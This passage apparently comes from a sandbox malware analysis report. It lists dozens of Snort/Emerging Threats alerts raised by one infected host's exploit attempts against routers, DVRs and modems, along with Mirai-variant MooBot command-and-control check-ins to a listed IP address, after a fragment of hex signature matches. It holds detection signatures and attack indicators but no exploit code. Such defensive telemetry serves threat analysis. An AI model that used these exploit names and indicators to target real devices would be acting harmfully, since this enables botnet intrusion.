33 38 2F 78 46 4A 2F 0x95f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x973:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x987:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x99b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa13:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa27:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa3b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa4f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 21 entries

Snort Signatures

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 207.188.224.215

Timestamp:	03/21/24-05:26:01.876080
SID:	2025883
Source Port:	57624
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 94.120.220.139

Timestamp:	03/21/24-05:26:15.105849
SID:	2023548
Source Port:	36890
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.3.189.112

Timestamp:	03/21/24-05:26:12.053811
SID:	2025883
Source Port:	53174
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:26.777712
SID:	2030490
Source Port:	46980
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 75.205.163.33

Timestamp:	03/21/24-05:25:54.364577
SID:	2023548
Source Port:	53666
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.30.84

Timestamp:	03/21/24-05:25:59.628821
SID:	2027153
Source Port:	40162
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 45.76.25.172

Timestamp:	03/21/24-05:26:12.168689
SID:	2025756
Source Port:	59494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 57.128.169.125

Timestamp:	03/21/24-05:26:55.625384
SID:	2025883
Source Port:	34262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.64.171.193

Timestamp:	03/21/24-05:25:58.850346
SID:	2018132
Source Port:	36102
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 196.242.84.108

Timestamp:	03/21/24-05:25:42.666869
SID:	2030092
Source Port:	38198
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.37.141.249

Timestamp:	03/21/24-05:26:37.009233
SID:	2025883
Source Port:	44312
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.86.98.34

Timestamp:	03/21/24-05:27:09.866025
SID:	2030092
Source Port:	50660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.87.214.231

Timestamp:	03/21/24-05:26:18.822216
SID:	2027153
Source Port:	57294
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.149.188.48

Timestamp:	03/21/24-05:26:36.090168
SID:	2030092
Source Port:	40994
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 196.210.100.229

Timestamp:	03/21/24-05:26:02.007674
SID:	2023548
Source Port:	46370
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 34.43.23.196

Timestamp:	03/21/24-05:26:11.195514
SID:	2023548
Source Port:	35150
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.204.93

Timestamp:	03/21/24-05:26:16.194705
SID:	2018132
Source Port:	38204
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 187.72.230.54

Timestamp:	03/21/24-05:26:45.578331
SID:	2025883
Source Port:	53860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 104.17.130.5

Timestamp:	03/21/24-05:26:13.877054
SID:	2027153
Source Port:	34694
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 201.213.18.150

Timestamp:	03/21/24-05:26:21.967421
SID:	2023548
Source Port:	48060
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:11.069470
SID:	2030490
Source Port:	46090
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.60.25.103

Timestamp:	03/21/24-05:26:15.043738
SID:	2030092
Source Port:	38884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:54.615293
SID:	2030490
Source Port:	47884
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 34.43.23.196

Timestamp:	03/21/24-05:26:11.080200
SID:	2023548
Source Port:	35140
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.91.85.108

Timestamp:	03/21/24-05:26:51.938211
SID:	2025883
Source Port:	34028
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.140.157

Timestamp:	03/21/24-05:26:13.174507
SID:	2026102
Source Port:	33340
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:53.647534
SID:	2030490
Source Port:	45624
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:11.073553
SID:	2030490
Source Port:	48886
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 175.240.225.222

Timestamp:	03/21/24-05:26:56.296870
SID:	2023548
Source Port:	39912
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 23.202.65.219

Timestamp:	03/21/24-05:27:09.751188
SID:	2835221
Source Port:	44994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 222.111.188.185

Timestamp:	03/21/24-05:26:07.498882
SID:	2023548
Source Port:	53486
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 98.4.227.113

Timestamp:	03/21/24-05:27:13.621502
SID:	2023548
Source Port:	40330
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 98.4.227.113

Timestamp:	03/21/24-05:27:13.747316
SID:	2023548
Source Port:	40340
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 201.213.18.150

Timestamp:	03/21/24-05:26:23.235490
SID:	2023548
Source Port:	48080
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 196.242.84.108

Timestamp:	03/21/24-05:25:42.666869
SID:	2025883
Source Port:	38198
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.198.155

Timestamp:	03/21/24-05:26:41.579838
SID:	2027153
Source Port:	51216
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.151.229.89

Timestamp:	03/21/24-05:26:37.887420
SID:	2030092
Source Port:	47786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.62.9

Timestamp:	03/21/24-05:26:18.663520
SID:	2026102
Source Port:	37890
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 110.66.27.9

Timestamp:	03/21/24-05:25:59.892244
SID:	2023548
Source Port:	39232
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 218.148.98.14

Timestamp:	03/21/24-05:26:07.423644
SID:	2023548
Source Port:	46574
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 98.96.198.103

Timestamp:	03/21/24-05:26:34.984093
SID:	2018132
Source Port:	33410
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 162.217.156.5

Timestamp:	03/21/24-05:26:35.844733
SID:	2025883
Source Port:	40402
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 177.138.109.192

Timestamp:	03/21/24-05:26:07.127375
SID:	2023548
Source Port:	41188
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 86.150.122.60

Timestamp:	03/21/24-05:26:16.481239
SID:	2023548
Source Port:	48750
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.149.188.48

Timestamp:	03/21/24-05:26:36.090168
SID:	2025883
Source Port:	40994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.202.117

Timestamp:	03/21/24-05:25:59.752399
SID:	2018132
Source Port:	55598
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 27.147.114.253

Timestamp:	03/21/24-05:26:23.261473
SID:	2023548
Source Port:	58060
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 74.73.120.108

Timestamp:	03/21/24-05:26:29.375618
SID:	2023548
Source Port:	56774
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.4.29

Timestamp:	03/21/24-05:26:18.567899
SID:	2026102
Source Port:	39436
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.43.75.238

Timestamp:	03/21/24-05:25:30.469632
SID:	2030092
Source Port:	60178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 41.225.233.153

Timestamp:	03/21/24-05:26:45.186276
SID:	2025883
Source Port:	39868
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 78.185.217.124

Timestamp:	03/21/24-05:26:13.409387
SID:	2023548
Source Port:	51400
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 14.62.241.44

Timestamp:	03/21/24-05:27:14.075621
SID:	2023548
Source Port:	49562
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 54.197.65.32

Timestamp:	03/21/24-05:27:06.596641
SID:	2835221
Source Port:	48944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:13.799338
SID:	2030490
Source Port:	45070
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 4.208.97.243

Timestamp:	03/21/24-05:26:48.624199
SID:	2030092
Source Port:	56126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 175.233.25.38

Timestamp:	03/21/24-05:26:33.790026
SID:	2026102
Source Port:	56020
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 14.62.241.44

Timestamp:	03/21/24-05:27:13.789374
SID:	2023548
Source Port:	49542
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.50.29.254

Timestamp:	03/21/24-05:26:55.786844
SID:	2030092
Source Port:	36946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 67.7.23.118

Timestamp:	03/21/24-05:26:11.988988
SID:	2023548
Source Port:	36110
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 92.172.61.75

Timestamp:	03/21/24-05:25:54.691854
SID:	2023548
Source Port:	37698
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 23.202.52.135

Timestamp:	03/21/24-05:26:51.585956
SID:	2025756
Source Port:	36102
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.133.212.108

Timestamp:	03/21/24-05:26:39.648691
SID:	2030092
Source Port:	50100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.160.132

Timestamp:	03/21/24-05:25:59.718271
SID:	2027153
Source Port:	54294
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.91.85.108

Timestamp:	03/21/24-05:26:51.938211
SID:	2030092
Source Port:	34028
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 5.22.89.147

Timestamp:	03/21/24-05:26:11.861854
SID:	2023548
Source Port:	33834
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 72.107.204.77

Timestamp:	03/21/24-05:26:11.977040
SID:	2023548
Source Port:	45154
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 46.138.241.167

Timestamp:	03/21/24-05:25:59.551679
SID:	2023548
Source Port:	32822
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.41.140

Timestamp:	03/21/24-05:26:00.036834
SID:	2018132
Source Port:	45392
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 139.64.175.176

Timestamp:	03/21/24-05:25:41.480974
SID:	2025883
Source Port:	59660
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.3.189.112

Timestamp:	03/21/24-05:26:12.053811
SID:	2030092
Source Port:	53174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.128.248.125

Timestamp:	03/21/24-05:25:38.421617
SID:	2025883
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:39.579506
SID:	2030490
Source Port:	47664
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:16.153428
SID:	2030490
Source Port:	46512
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 45.53.188.176

Timestamp:	03/21/24-05:26:11.095602
SID:	2023548
Source Port:	37400
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 70.20.37.97

Timestamp:	03/21/24-05:26:05.849548
SID:	2023548
Source Port:	59884
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.129.39.194

Timestamp:	03/21/24-05:26:36.415557
SID:	2025883
Source Port:	53136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.101.176.237

Timestamp:	03/21/24-05:26:08.421601
SID:	2030092
Source Port:	55144
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:12.459503
SID:	2030490
Source Port:	45068
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.26.42

Timestamp:	03/21/24-05:25:54.424189
SID:	2027153
Source Port:	53498
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.62.164

Timestamp:	03/21/24-05:26:18.568479
SID:	2018132
Source Port:	40694
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 51.89.133.14

Timestamp:	03/21/24-05:27:02.312604
SID:	2831299
Source Port:	42752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 37.151.229.89

Timestamp:	03/21/24-05:26:37.887420
SID:	2025883
Source Port:	47786
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 144.86.5.175

Timestamp:	03/21/24-05:26:13.409454
SID:	2023548
Source Port:	54084
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.87.214.231

Timestamp:	03/21/24-05:26:18.822216
SID:	2018132
Source Port:	57294
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.102.24

Timestamp:	03/21/24-05:26:56.123581
SID:	2018132
Source Port:	34818
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.217.156.5

Timestamp:	03/21/24-05:26:35.844733
SID:	2030092
Source Port:	40402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.220.85.79

Timestamp:	03/21/24-05:27:09.751271
SID:	2831299
Source Port:	41492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 23.202.65.219

Timestamp:	03/21/24-05:27:09.751188
SID:	2831299
Source Port:	44994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 187.72.230.54

Timestamp:	03/21/24-05:26:45.578331
SID:	2030092
Source Port:	53860
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 218.148.98.14

Timestamp:	03/21/24-05:26:07.144315
SID:	2023548
Source Port:	46562
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:52.308005
SID:	2030490
Source Port:	45608
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.128.169.125

Timestamp:	03/21/24-05:26:55.625384
SID:	2030092
Source Port:	34262
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 94.187.117.182

Timestamp:	03/21/24-05:27:13.933657
SID:	2023548
Source Port:	46978
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.23.24.185

Timestamp:	03/21/24-05:25:44.993964
SID:	2025883
Source Port:	33008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 14.67.209.80

Timestamp:	03/21/24-05:26:22.280917
SID:	2023548
Source Port:	46334
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:54.979616
SID:	2030490
Source Port:	45648
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 220.133.212.108

Timestamp:	03/21/24-05:26:39.648691
SID:	2025883
Source Port:	50100
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 115.3.111.124

Timestamp:	03/21/24-05:26:33.789900
SID:	2026102
Source Port:	52042
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.37.141.249

Timestamp:	03/21/24-05:26:37.009233
SID:	2030092
Source Port:	44312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 69.164.56.22

Timestamp:	03/21/24-05:26:55.590380
SID:	2025883
Source Port:	37334
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.94.16

